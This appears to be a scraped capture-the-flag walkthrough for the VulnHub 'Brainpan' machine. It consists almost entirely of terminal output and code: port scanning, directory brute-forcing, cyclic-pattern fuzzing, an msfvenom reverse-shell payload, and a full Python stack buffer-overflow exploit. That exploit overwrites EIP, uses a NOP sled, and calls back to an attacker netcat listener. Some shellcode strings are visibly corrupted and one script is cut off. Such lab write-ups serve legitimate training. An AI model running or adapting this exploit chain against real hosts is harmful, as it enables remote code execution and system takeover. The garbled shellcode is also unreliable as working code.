

<https://medium.com/@rihazz13/buffer-overflow-brainpan-e48a0a4b61f0>

PORT STATE SERVICE VERSION

9999/tcp open abyss?

| fingerprint-strings:

| NULL:

| \_|\_|

| |\_|\_| |\_|\_| |\_|\_| |\_|\_| |\_|\_| |\_|\_| |\_|\_|

| |\_|\_| |\_|\_| |\_|\_| |\_|\_| |\_|\_| |\_|\_| |\_|\_|

| |\_|\_| |\_|\_| |\_|\_| |\_|\_| |\_|\_| |\_|\_| |\_|\_|

| [ \_\_\_\_\_ WELCOME TO BRAINPAN \_\_\_\_\_ ]

|\_ ENTER THE PASSWORD

10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)

|\_http-server-header: SimpleHTTP/0.6 Python/2.7.3

|\_http-title: Site doesn't have a title (text/html).

<http://brainpan:10000/>

root@kali:/home/kali/Desktop/vulnhub/brainpan# gobuster dir -u http://brainpan:10000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/bin (Status: 301)

<http://brainpan:10000/bin/>

root@kali:/home/kali/Downloads# mv brainpan.exe /home/kali/Desktop/vulnhub/brainpan/

root@kali:/home/kali/Desktop/vulnhub/brainpan# strings brainpan.exe

!This program cannot be run in DOS mode.

.text

`.data

.rdata

@.bss

.idata

[^\_]

AAAA

AAAA

AAAA

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
```

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# /usr/bin/msf-pattern_create -l 1000
```

```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
```

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# cat script2.py
```

```
import sys,socket
```

```
host = "192.168.2.169" # IP OF WINDOWS VM
```

```
port = 9999
```

```
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
```

```
try:
```

```
    s.connect((host,port))
```

```
    s.recv(1024)
```

```
    junk =
```

```
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
```

```
    s.sendall(junk)
```

```
    print "Sent"
```

```
except:
```

```
    print "Unable to Connect " + str(host)
```

```
    sys.exit(0)
```



Payload size: 351 bytes

Final size of c file: 1500 bytes

unsigned char buff[] =

```
"\xb8\xfd\x51\x38\xea\xdb\xdb\x74\x24\xf4\x5e\x33\xc9\xb1"  
"\x52\x83\xee\xfc\x31\x46\x0e\x03\xbb\x5f\xda\x1f\xbf\x88\x98"  
"\xe0\x3f\x49\xfd\x69\xda\x78\x3d\x0d\xaf\x2b\x8d\x45\xfd\xc7"  
"\x66\x0b\x15\x53\x0a\x84\x1a\xda\x1a\xf2\x15\xe5\x9a\xc7\x34"  
"\x65\xe1\x1b\x96\x54\x2a\x6e\xdb\x91\x57\x83\x85\x4a\x13\x36"  
"\x39\xfe\x69\x8b\xb2\x4c\x7f\x8b\x27\x04\x7e\xba\xf6\x1e\xdb"  
"\x1c\xf9\xf3\x51\x15\xe1\x10\x5f\xef\x9a\xe3\x2b\xee\x4a\x3a"  
"\xdb\x5d\xb3\xf2\x26\x9f\xf4\x35\xdb\xea\x0c\x46\x64\xed\xcb"  
"\x34\xb2\x78\xcf\x9f\x31\xda\x2b\x21\x95\xbd\xb8\x2d\x52\xc9"  
"\xe6\x31\x65\x1e\x9d\x4e\xee\xa1\x71\xc7\xb4\x85\x55\x83\x6f"  
"\xa7\xcc\x69\xc1\xdb\x0e\xdb\xbe\x7c\x45\xff\xab\x0c\x04\x68"  
"\x1f\x3d\xb6\x68\x37\x36\xc5\x5a\x98\xec\x41\xdb\x51\x2b\x96"  
"\x18\x48\x8b\x08\xe7\x73\xec\x01\x2c\x27\xbc\x39\x85\x48\x57"  
"\xb9\x2a\x9d\xf8\xe9\x84\x4e\xb9\x59\x65\x3f\x51\xb3\x6a\x60"  
"\x41\xbc\xa0\x09\xe8\x47\x23\xf6\x45\x45\x16\x9e\x97\x49\x49"  
"\x03\x11\xaf\x03\xab\x77\x78\xbc\x52\xdb\xf2\x5d\x9a\xc8\x7f"  
"\x5d\x10\xff\x80\x10\xdb\x8a\x92\xc5\x11\xc1\xc8\x40\x2d\xff"  
"\x64\x0e\xbc\x64\x74\x59\xdd\x32\x23\x0e\x13\x4b\xa1\xa2\x0a"  
"\xe5\xdb\x3e\xca\xce\x53\xe5\x2f\xdb\x5a\x68\x0b\xf6\x4c\xb4"  
"\x94\xb2\x38\x68\xc3\x6c\x96\xce\xbd\xde\x40\x99\x12\x89\x04"  
"\x5c\x59\x0a\x52\x61\xb4\xfc\xba\xdb\x61\xb9\xc5\xdd\xe5\x4d"  
"\xbe\x03\x96\xb2\x15\x80\xa6\xf8\x37\xa1\x2e\xa5\xa2\xf3\x32"  
"\x56\x19\x37\x4b\xdb\xab\xc8\xa8\xc5\xde\xcd\xf5\x41\x33\xbc"  
"\x66\x24\x33\x13\x86\x6d";
```

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# cat exploitwin.py
```

```
import socket,sys
```

```
buf=("\xb8\xfd\x51\x38\xea\xdb\x05\x09\x74\x24\xf4\x5e\x33\xc9\xb1"  
"\x52\x83\xee\xfc\x31\x46\x0e\x03\xbb\x5f\xda\x1f\xbf\x88\x98"  
"\xe0\x3f\x49\xfd\x69\xda\x78\x3d\x0d\xaf\x2b\x8d\x45\xfd\xc7"  
"\x66\x0b\x15\x53\x0a\x84\x1a\x04\x1f\x2\x15\xe5\x9a\xc7\x34"  
"\x65\xe1\x1b\x96\x54\x2a\x6e\x07\x91\x57\x83\x85\x4a\x13\x36"  
"\x39\xfe\x69\x8b\xb2\x4c\x7f\x8b\x27\x04\x7e\xba\x6f\x1e\x09"  
"\x1c\xf9\xf3\x51\x15\xe1\x10\x5f\xef\x9a\xe3\x2b\xee\x4a\x3a"  
"\xd3\x5d\xb3\xf2\x26\x9f\xf4\x35\x09\xea\x0c\x46\x64\xed\xcb"  
"\x34\xb2\x78\xcf\x9f\x31\xda\x2b\x21\x95\xbd\xb8\x2d\x52\xc9"  
"\xe6\x31\x65\x1e\x9d\x4e\xee\xa1\x71\xc7\xb4\x85\x55\x83\x6f"  
"\xa7\xcc\x69\xc1\x08\x0e\x02\xbe\x7c\x45\xff\xab\x0c\x04\x68"  
"\x1f\x3d\xb6\x68\x37\x36\xc5\x5a\x98\xec\x41\x07\x51\x2b\x96"  
"\x18\x48\x8b\x08\xe7\x73\xec\x01\x2c\x27\xbc\x39\x85\x48\x57"  
"\xb9\x2a\x9d\xf8\xe9\x84\x4e\xb9\x59\x65\x3f\x51\xb3\x6a\x60"  
"\x41\xbc\xa0\x09\xe8\x47\x23\xf6\x45\x45\x16\x9e\x97\x49\x49"  
"\x03\x11\xaf\x03\xab\x77\x78\xbc\x52\x02\xf2\x5d\x9a\xc8\x7f"  
"\x5d\x10\xff\x80\x10\x01\x8a\x92\xc5\x11\xc1\xc8\x40\x02\xff"  
"\x64\x0e\xbc\x64\x74\x59\x0d\x32\x23\x0e\x13\x4b\xa1\xa2\x0a"  
"\xe5\x07\x3e\xca\xce\x53\xe5\x2f\x0d\x5a\x68\x0b\xf6\x4c\xb4"  
"\x94\xb2\x38\x68\xc3\x6c\x96\xce\xbd\xde\x40\x99\x12\x89\x04"  
"\x5c\x59\x0a\x52\x61\xb4\xfc\xba\x0d\x61\xb9\xc5\x0d\xe5\x4d"  
"\xbe\x03\x96\xb2\x15\x80\xa6\xf8\x37\xa1\x2e\xa5\xa2\xf3\x32"  
"\x56\x19\x37\x4b\x05\xab\xc8\xa8\xc5\xde\xcd\xf5\x41\x33\xbc"  
"\x66\x24\x33\x13\x86\x6d")
```

```
payload = "A" * 524 + "\xf3\x12\x17\x31" + "\x90"*16 + buf
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
try:
```

```
s.connect(('192.168.2.169', 9999))
```

except:

```
print "Error"
```

## EXPLOIT FOR BRAINPAN

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.165  
LPORT=1234 R -e x86/shikata_ga_nai -b '\x00' -f c
```

Payload size: 351 bytes

Final size of c file: 1500 bytes

```
unsigned char buf[] =
```

```
\xbd\xb1\x97\xa8\x6d\xd9\xcc\xd9\x74\x24\xf4\x5a\x31\xc9\xb1  
\x52\x31\x6a\x12\x83\xc2\x04\x03\xdb\x99\x4a\x98\xe7\x4e\x08  
\x63\x17\x8f\x6d\xed\xf2\xbe\xad\x89\x77\x90\x1d\xd9\xd5\x1d  
\xd5\x8f\xcd\x96\x9b\x07\xe2\x1f\x11\x7e\xcd\xa0\x0a\x42\x4c  
\x23\x51\x97\xae\x1a\x9a\xea\xaf\x5b\xc7\x07\xfd\x34\x83\xba  
\x11\x30\xd9\x06\x9a\x0a\xcf\x0e\x7f\xda\xee\x3f\x2e\x50\xa9  
\x9f\xd1\xb5\xc1\xa9\xc9\xda\xec\x60\x62\x28\x9a\x72\xa2\x60  
\x63\xd8\x8b\x4c\x96\x20\xcc\x6b\x49\x57\x24\x88\xf4\x60\xf3  
\xf2\x22\xe4\xe7\x55\xa0\x5e\xc3\x64\x65\x38\x80\x6b\xc2\x4e  
\xce\x6f\xd5\x83\x65\x8b\x5e\x22\xa9\x1d\x24\x01\x6d\x45\xfe  
\x28\x34\x23\x51\x54\x26\x8c\x0e\xf0\x2d\x21\x5a\x89\x6c\x2e  
\xaf\xa0\x8e\xae\xa7\xb3\xfd\x9c\x68\x68\x69\xad\xe1\xb6\x6e  
\xd2\xdb\x0f\xe0\x2d\xe4\x6f\x29\xea\xb0\x3f\x41\xdb\xb8\xab  
\x91\xe4\x6c\x7b\xc1\x4a\xdf\x3c\xb1\x2a\x8f\xd4\xdb\xa4\xf0  
\xc5\xe4\x6e\x99\x6c\x1f\xf9\x66\xd8\x1d\x5c\x0e\x1b\x21\x9a  
\x1d\x92\xc7\xc8\xb1\xf3\x50\x65\x2b\x5e\x2a\x14\xb4\x74\x57  
\x16\x3e\x7b\xa8\xd9\xb7\xf6\xba\x8e\x37\x4d\xe0\x19\x47\x7b  
\x8c\xc6\xda\xe0\x4c\x80\xc6\xbe\x1b\xc5\x39\xb7\xc9\xfb\x60  
\x61\xef\x01\xf4\x4a\xab\xdd\xc5\x55\x32\x93\x72\x72\x24\x6d  
\x7a\x3e\x10\x21\x2d\xe8\xce\x87\x87\x5a\xb8\x51\x7b\x35\x2c  
\x27\xb7\x86\x2a\x28\x92\x70\xd2\x99\x4b\xc5\xed\x16\x1c\xc1
```

\x96\x4a\xbc\x2e\x4d\xcf\xcc\x64\xcf\x66\x45\x21\x9a\x3a\x08

\xd2\x71\x78\x35\x51\x73\x01\xc2\x49\xf6\x04\x8e\xcd\xeb\x74

\x9f\xbb\x0b\x2a\xa0\xe9

root@kali:/home/kali/Desktop/vulnhub/brainpan# cat finalexploit.py

```
import sys,socket
```

```
host = "192.168.2.82" # IP OF BRAINPAN
```

```
port = 9999
```

```
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
```

```
try:
```

```
    s.connect((host,port))
```

```
    s.recv(1024)
```

```
    junk = b"A"*524
```

```
    EIP = b'\xf3\x12\x17\x31'
```

```
    nops=b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
```

```
    payload =
```

```
b'\xbd\xb1\x97\xa8\x6d\xd9\xcc\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x52\x31\x6a\x12\x83\xc2\x04\x03\xdb\x99\x4a\x98\x  
e7\x4e\x08\x63\x17\x8f\x6d\xed\xf2\xbe\xad\x89\x77\x90\x1d\xd9\x5d\x1d\x5d\x8f\xcd\x96\x9b\x07\xe2\x1f\x11\x7e\x  
\xcd\xa0\x0a\x42\x4c\x23\x51\x97\xae\x1a\x9a\xea\xaf\x5b\xc7\x07\xfd\x34\x83\xba\x11\x30\xd9\x06\x9a\x0a\xcf\x0e\x  
\x7f\xda\xee\x3f\x2e\x50\xa9\x9f\xd1\xb5\xc1\xa9\xc9\xda\xec\x60\x62\x28\x9a\x72\xa2\x60\x63\xd8\x8b\x4c\x96\x20\x  
\xcc\x6b\x49\x57\x24\x88\xf4\x60\xf3\xf2\x22\xe4\xe7\x55\xa0\x5e\xc3\x64\x65\x38\x80\x6b\xc2\x4e\xce\x6f\xd5\x83\x  
\x65\x8b\x5e\x22\xa9\x1d\x24\x01\x6d\x45\xfe\x28\x34\x23\x51\x54\x26\x8c\x0e\xf0\x2d\x21\x5a\x89\x6c\x2e\xaf\xa\x  
0\x8e\xae\xa7\xb3\xfd\x9c\x68\x68\x69\xad\xe1\xb6\x6e\xd2\xdb\x0f\xe0\x2d\xe4\x6f\x29\xea\xb0\x3f\x41\xdb\xb8\x\x  
ab\x91\xe4\x6c\x7b\xc1\x4a\xdf\x3c\xb1\x2a\x8f\xd4\xdb\xa4\xf0\xc5\xe4\x6e\x99\x6c\x1f\xf9\x66\xd8\x1d\x5c\x0e\x1\x  
b\x21\x9a\x1d\x92\xc7\xc8\xb1\xf3\x50\x65\x2b\x5e\x2a\x14\xb4\x74\x57\x16\x3e\x7b\xa8\xd9\xb7\xf6\xba\x8e\x37\x\x  
4d\xe0\x19\x47\x7b\x8c\x6d\xda\xe0\x4c\x80\xc6\xbe\x1b\xc5\x39\xb7\xc9\xfb\x60\x61\xef\x01\xf4\x4a\xab\xdd\x5\x\x  
55\x32\x93\x72\x72\x24\x6d\x7a\x3e\x10\x21\x2d\xe8\xce\x87\x87\x5a\xb8\x51\x7b\x35\x2c\x27\xb7\x86\x2a\x28\x92\x  
\x70\xd2\x99\x4b\x5d\xed\x16\x1c\x1c\x96\x4a\xbc\x2e\x4d\xcf\xcc\x64\xcf\x66\x45\x21\x9a\x3a\x08\xd2\x71\x78\x35\x  
\x51\x73\x01\xc2\x49\xf6\x04\x8e\xcd\xeb\x74\x9f\xbb\x0b\x2a\xa0\xe9'
```

```
    print "Sending Payload..."
```

```
    s.sendall(junk+EIP+nops+payload)
```

```
    print "Sent"
```

```
except:
```

```
    print "Unable to Connect " + str(host)
```



```
sys.exit(0)
```

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# nc -nlvp 1234
```